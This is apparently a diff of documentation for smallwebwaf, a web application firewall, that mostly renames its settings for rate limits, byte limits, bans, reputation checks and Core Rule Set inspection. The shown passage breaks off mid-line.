| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||||
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. |
|
||||||
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||||
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. |
|
||||||
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. |
|
||||||
|
|
||||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||||
full, and the limits that are fixed rather than settings.
|
full, and the limits that are fixed rather than settings.
|
||||||
@@ -455,7 +455,7 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
||||||
# Answer 503 rather than pass a request on while waf is down.
|
# Answer 503 rather than pass a request on while waf is down.
|
||||||
SWW_RPROXY_DEFAULT_DISPOSITION: deny
|
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -537,12 +537,12 @@ request reaches the app.
|
|||||||
17. The request is passed to the app, streaming.
|
17. The request is passed to the app, streaming.
|
||||||
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
||||||
bytes each way. For an allowed request, `waf` counts the bytes
|
bytes each way. For an allowed request, `waf` counts the bytes
|
||||||
`SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they
|
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if
|
||||||
take it past one, and adds the request to the client's history.
|
they take it past one, and adds the request to the client's history.
|
||||||
|
|
||||||
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
||||||
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
||||||
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
|
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`
|
||||||
instead. A request over the header limits of step 3 is answered `431`, and bans
|
instead. A request over the header limits of step 3 is answered `431`, and bans
|
||||||
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
||||||
and the status for a size or time limit, such as `413` for a body too large.
|
and the status for a size or time limit, such as `413` for a body too large.
|
||||||
@@ -583,8 +583,8 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
|
|
||||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||||
headers of every request, and no body unless
|
headers of every request, and no body unless
|
||||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge,
|
||||||
carry what people write and publish, which the rules take for attacks.
|
bodies carry what people write and publish, which the rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
||||||
requests to a code forge through, such as git over HTTP and sign-in through
|
requests to a code forge through, such as git over HTTP and sign-in through
|
||||||
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
||||||
@@ -609,9 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
||||||
its searches, its file names, its account names, its comments and its
|
its searches, its file names, its account names, its comments and its
|
||||||
documents;
|
documents;
|
||||||
- `ghost`, whose fixes let through its filters, its searches, its names, its
|
- `ghost`, whose fixes let through the text its admin and members type, its
|
||||||
email addresses, its code injection, its settings and a post saved from
|
analytics, its code injection, ActivityPub and a post saved from its
|
||||||
its editor, HTML included.
|
editor, HTML included.
|
||||||
- A random password, as a password manager makes one, gets through these forms:
|
- A random password, as a password manager makes one, gets through these forms:
|
||||||
- signing in, signing up, and changing or resetting a password, on
|
- signing in, signing up, and changing or resetting a password, on
|
||||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
||||||
|
|||||||
@@ -157,12 +157,13 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
|||||||
`prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. A client in
|
`prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. A client in
|
||||||
`SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag.
|
`SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag.
|
||||||
4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the
|
4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the
|
||||||
byte limits and the error burst. A client in `SWW_WAF_DENY_NETS` is refused
|
byte limits and the refusal limit. A client in `SWW_WAF_DENY_NETS` is refused
|
||||||
(`deny_nets`); a client in both lists is let through.
|
(`deny_nets`); a client in both lists is let through.
|
||||||
5. Bans. A client under a ban is refused (`active_ban`; see "Bans").
|
5. Bans. A client under a ban is refused (`active_ban`; see "Bans").
|
||||||
6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number
|
6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number
|
||||||
and country"). The request goes on at once. It waits for the first GeoJS
|
and country"). The request goes on at once. It waits for the first GeoJS
|
||||||
answer, up to `SWW_WAF_LOOKUP_TIMEOUT`, only when one of these needs it:
|
answer, up to `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, only when one of
|
||||||
|
these needs it:
|
||||||
- the country list;
|
- the country list;
|
||||||
- a biased threshold;
|
- a biased threshold;
|
||||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or
|
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or
|
||||||
@@ -176,10 +177,10 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
|||||||
- A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION`
|
- A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION`
|
||||||
(`blocklists`).
|
(`blocklists`).
|
||||||
- A client on the CrowdSec decision list is banned (`crowdsec`).
|
- A client on the CrowdSec decision list is banned (`crowdsec`).
|
||||||
- A client listed by a DNS blocklist gets `SWW_WAF_REPUTATION_ACTION`
|
- A client listed by a DNS blocklist gets `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`
|
||||||
(`dnsbl`).
|
(`dnsbl`).
|
||||||
- A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets
|
- A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets
|
||||||
`SWW_WAF_REPUTATION_ACTION` (`abuseipdb`).
|
`SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (`abuseipdb`).
|
||||||
9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag
|
9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag
|
||||||
in `SWW_WAF_TAG_DENY` is refused.
|
in `SWW_WAF_TAG_DENY` is refused.
|
||||||
10. The client's limit percentage (see "Biased thresholds").
|
10. The client's limit percentage (see "Biased thresholds").
|
||||||
@@ -204,18 +205,18 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
|||||||
18. After the visitor's answer has ended, `rproxy` sends the report (see "The
|
18. After the visitor's answer has ended, `rproxy` sends the report (see "The
|
||||||
report"). `waf` then counts:
|
report"). `waf` then counts:
|
||||||
- For a request it allowed, the body bytes of the response, of the request
|
- For a request it allowed, the body bytes of the response, of the request
|
||||||
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNT` says.
|
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNTED`
|
||||||
For a WebSocket, what it carried each way counts once it closes. A client
|
says. For a WebSocket, what it carried each way counts once it closes. A
|
||||||
whose total passes a byte limit times the percentage has broken that limit
|
client whose total passes a byte limit times the percentage has broken
|
||||||
and is banned (`byte_limits`). The request that broke it has already been
|
that limit and is banned (`byte_limits`). The request that broke it has
|
||||||
passed on whole; nothing is cut off.
|
already been passed on whole; nothing is cut off.
|
||||||
- For a request it allowed, the client's history and the anomaly counters
|
- For a request it allowed, the client's history and the anomaly counters
|
||||||
are updated, and the alert thresholds are evaluated.
|
are updated, and the alert thresholds are evaluated.
|
||||||
|
|
||||||
For a request it refused, `waf` adds nothing to the byte limits. It updates
|
For a request it refused, `waf` adds nothing to the byte limits. It updates
|
||||||
the history and the anomaly counters at its decision. It counts the refusals
|
the history and the anomaly counters at its decision. A refusal for a rule
|
||||||
the error burst counts at the decision too (`refusal_limit`; see "Attack
|
file match, a trap path or a Core Rule Set match also counts toward the
|
||||||
detection").
|
refusal limit at the decision (`refusal_limit`; see "Attack detection").
|
||||||
|
|
||||||
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
|
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
|
||||||
happened, nothing is refused, and `waf` makes no ban of its own. A path under
|
happened, nothing is refused, and `waf` makes no ban of its own. A path under
|
||||||
@@ -279,7 +280,7 @@ to a ban, each by its own rule:
|
|||||||
- a request over a rate limit;
|
- a request over a rate limit;
|
||||||
- the bytes counted for a request and its response taking the client's total
|
- the bytes counted for a request and its response taking the client's total
|
||||||
past a byte limit;
|
past a byte limit;
|
||||||
- more than `SWW_WAF_ERROR_BURST_THRESHOLD` refusals within a minute.
|
- more than `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` refusals within a minute.
|
||||||
|
|
||||||
The bans for a broken limit:
|
The bans for a broken limit:
|
||||||
- The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with
|
- The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with
|
||||||
@@ -288,15 +289,16 @@ to a ban, each by its own rule:
|
|||||||
ended.
|
ended.
|
||||||
- Breaking a limit again within that window makes the new ban three times as
|
- Breaking a limit again within that window makes the new ban three times as
|
||||||
long as the last one: one hour, then 3, 9, 27 and 81 hours.
|
long as the last one: one hour, then 3, 9, 27 and 81 hours.
|
||||||
- A ban that would be longer than `SWW_WAF_MAX_BAN_DURATION` (default `7d`)
|
- A ban that would be longer than `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE`
|
||||||
is permanent instead. At the defaults, that is the sixth ban in a row.
|
(default `7d`) is permanent instead. At the defaults, that is the sixth
|
||||||
|
ban in a row.
|
||||||
- Each such ban sets the client's counters for every limit back to zero.
|
- Each such ban sets the client's counters for every limit back to zero.
|
||||||
Once it ends, only new requests can break a limit again. The client's
|
Once it ends, only new requests can break a limit again. The client's
|
||||||
history keeps its totals.
|
history keeps its totals.
|
||||||
|
|
||||||
A Core Rule Set match refuses only the request it matched, with `403` and
|
A Core Rule Set match refuses only the request it matched, with `403` and
|
||||||
without a ban, because the Core Rule Set has false positives. A `block` rule
|
without a ban, because the Core Rule Set has false positives. A `block` rule
|
||||||
does the same. Those refusals count toward the error burst, so a client that
|
does the same. Those refusals count toward the refusal limit, so a client that
|
||||||
keeps setting them off is banned for a broken limit.
|
keeps setting them off is banned for a broken limit.
|
||||||
|
|
||||||
A client on the CrowdSec decision list is banned until the decision ends, with
|
A client on the CrowdSec decision list is banned until the decision ends, with
|
||||||
@@ -350,8 +352,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
|
|||||||
- These settings take `off`, which switches them off:
|
- These settings take `off`, which switches them off:
|
||||||
- `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`;
|
- `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`;
|
||||||
- the three rate limits and the three byte limits;
|
- the three rate limits and the three byte limits;
|
||||||
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`,
|
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`,
|
||||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` and `SWW_WAF_ERROR_BURST_THRESHOLD`;
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` and
|
||||||
|
`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`;
|
||||||
- `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`;
|
- `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`;
|
||||||
- every anomaly threshold;
|
- every anomaly threshold;
|
||||||
- `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`,
|
- `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`,
|
||||||
@@ -404,9 +407,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
|
|||||||
|
|
||||||
- `SWW_WAF_STATE_DIR` names the directory of the state files, and
|
- `SWW_WAF_STATE_DIR` names the directory of the state files, and
|
||||||
`SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment").
|
`SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment").
|
||||||
- `bans.json` is written `SWW_WAF_STATE_WRITE_DELAY` after a ban is made, lifted
|
- `bans.json` is written `SWW_WAF_BANS_WRITE_DELAY` after a ban is made, lifted
|
||||||
or made permanent, so a burst of changes becomes one write. Every file is
|
or made permanent, so a burst of changes becomes one write. Every file is
|
||||||
written every `SWW_WAF_STATE_COUNTER_INTERVAL`, and at an orderly stop.
|
written every `SWW_WAF_STATE_WRITE_INTERVAL`, and at an orderly stop.
|
||||||
|
|
||||||
### Logging
|
### Logging
|
||||||
|
|
||||||
@@ -420,15 +423,16 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
|
|||||||
|
|
||||||
### Metrics
|
### Metrics
|
||||||
|
|
||||||
- `SWW_WAF_METRICS_TOP_N` is how many of the busiest AS numbers and countries
|
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` is how many of the busiest AS
|
||||||
get a series of their own. The rest are summed as `other`, so the label set
|
numbers and countries get a series of their own. The rest are summed as
|
||||||
stays bounded.
|
`other`, so the label set stays bounded.
|
||||||
|
|
||||||
### Static lists
|
### Static lists
|
||||||
|
|
||||||
- `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the
|
- `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the
|
||||||
owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request
|
owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request
|
||||||
and byte limits only; the error burst, attack detection and bans still apply.
|
and byte limits only; the refusal limit, attack detection and bans still
|
||||||
|
apply.
|
||||||
- Many people can share one address, as in an office, on a mobile carrier or
|
- Many people can share one address, as in an office, on a mobile carrier or
|
||||||
through Tor. They are one client, and share its limits and its bans. A known
|
through Tor. They are one client, and share its limits and its bans. A known
|
||||||
shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or
|
shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or
|
||||||
@@ -474,7 +478,7 @@ app may read it as a path outside the prefix.
|
|||||||
### Byte limits, per client
|
### Byte limits, per client
|
||||||
|
|
||||||
The byte limits count body bytes: the app's response bodies, the visitors'
|
The byte limits count body bytes: the app's response bodies, the visitors'
|
||||||
request bodies, or both, as `SWW_WAF_BYTES_COUNT` says. Headers are never
|
request bodies, or both, as `SWW_WAF_BYTES_COUNTED` says. Headers are never
|
||||||
counted. What the visitor sent over a WebSocket counts as request bytes, and
|
counted. What the visitor sent over a WebSocket counts as request bytes, and
|
||||||
what the app sent as response bytes. The bytes counted for a request and its
|
what the app sent as response bytes. The bytes counted for a request and its
|
||||||
response are added to the client's total once the response has ended (see step
|
response are added to the client's total once the response has ended (see step
|
||||||
@@ -510,11 +514,11 @@ service that keeps its visitors' addresses on its own host.
|
|||||||
are kept apart from the table of clients, so that an answer outlasts a client
|
are kept apart from the table of clients, so that an answer outlasts a client
|
||||||
dropped from that table. The answer reaches the client's history and ban notes
|
dropped from that table. The answer reaches the client's history and ban notes
|
||||||
when it comes.
|
when it comes.
|
||||||
- `SWW_WAF_LOOKUP_TIMEOUT` is how long a visitor's request waits for its
|
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is how long a visitor's request
|
||||||
client's first answer, when a setting needs it (see step 6). It also bounds
|
waits for its client's first answer, when a setting needs it (see step 6). It
|
||||||
each request to GeoJS. A client whose answer has not come in time counts as
|
also bounds each request to GeoJS. A client whose answer has not come in time
|
||||||
unknown until it comes, and its later requests do not wait. Its address is
|
counts as unknown until it comes, and its later requests do not wait. Its
|
||||||
asked about again in the background.
|
address is asked about again in the background.
|
||||||
- A client the lookup cannot place has an unknown country and AS number, which
|
- A client the lookup cannot place has an unknown country and AS number, which
|
||||||
the country list and the biased thresholds treat as described there. Nothing
|
the country list and the biased thresholds treat as described there. Nothing
|
||||||
else treats it differently.
|
else treats it differently.
|
||||||
@@ -576,7 +580,7 @@ Each tag and where it comes from:
|
|||||||
key masked, as the `reputation` field gives it.
|
key masked, as the `reputation` field gives it.
|
||||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request.
|
- `exploitsignature`, when a rule file or the Core Rule Set matched the request.
|
||||||
For the Core Rule Set a match is a score at or over
|
For the Core Rule Set a match is a score at or over
|
||||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`.
|
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`.
|
||||||
- `asn=<number>` and `prefix=<netblock>` from a routewatch instance
|
- `asn=<number>` and `prefix=<netblock>` from a routewatch instance
|
||||||
(`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set:
|
(`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set:
|
||||||
- The tag `prefix=` holds the netblock the client's address is announced in,
|
- The tag `prefix=` holds the netblock the client's address is announced in,
|
||||||
@@ -623,13 +627,13 @@ abuse comes from.
|
|||||||
|
|
||||||
- `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50`
|
- `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50`
|
||||||
(see "Request tags"). A lowered limit is rounded down.
|
(see "Request tags"). A lowered limit is rounded down.
|
||||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` at `0` is a zero allowance: the client's first
|
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` at `0` is a zero allowance: the
|
||||||
request breaks a limit and bans it.
|
client's first request breaks a limit and bans it.
|
||||||
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` set the byte
|
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
|
||||||
limits' percentage alone, when it should differ from the request limits'. For
|
set the byte limits' percentage alone, when it should differ from the request
|
||||||
an AS number they list, they replace its `asn=` tag's percentage and its entry
|
limits'. For an AS number they list, they replace its `asn=` tag's percentage
|
||||||
in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its `country=` tag's
|
and its entry in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its
|
||||||
percentage.
|
`country=` tag's percentage.
|
||||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so
|
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so
|
||||||
one abuse-source list can be shared by every `waf` in the fleet. It is fetched
|
one abuse-source list can be shared by every `waf` in the fleet. It is fetched
|
||||||
and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=`
|
and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=`
|
||||||
@@ -637,8 +641,8 @@ abuse comes from.
|
|||||||
applies.
|
applies.
|
||||||
- A client's limit percentage is the lowest of those that apply to it: its AS
|
- A client's limit percentage is the lowest of those that apply to it: its AS
|
||||||
number's, its country's, its tags', or a reputation hit's `limit:<percent>`. A
|
number's, its country's, its tags', or a reputation hit's `limit:<percent>`. A
|
||||||
client without a country gets `SWW_WAF_UNKNOWN_LIMIT_PERCENT` in place of a
|
client without a country gets `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` in place
|
||||||
country's. The percentage is 100 if none applies. Clients given a lower
|
of a country's. The percentage is 100 if none applies. Clients given a lower
|
||||||
percentage are banned after fewer requests, first for a while and then, for
|
percentage are banned after fewer requests, first for a while and then, for
|
||||||
repeated abuse, permanently. The log line of each counted request, and the
|
repeated abuse, permanently. The log line of each counted request, and the
|
||||||
notes of each ban, say which setting lowered the limit.
|
notes of each ban, say which setting lowered the limit.
|
||||||
@@ -660,16 +664,16 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
|
|
||||||
- The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`.
|
- The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and
|
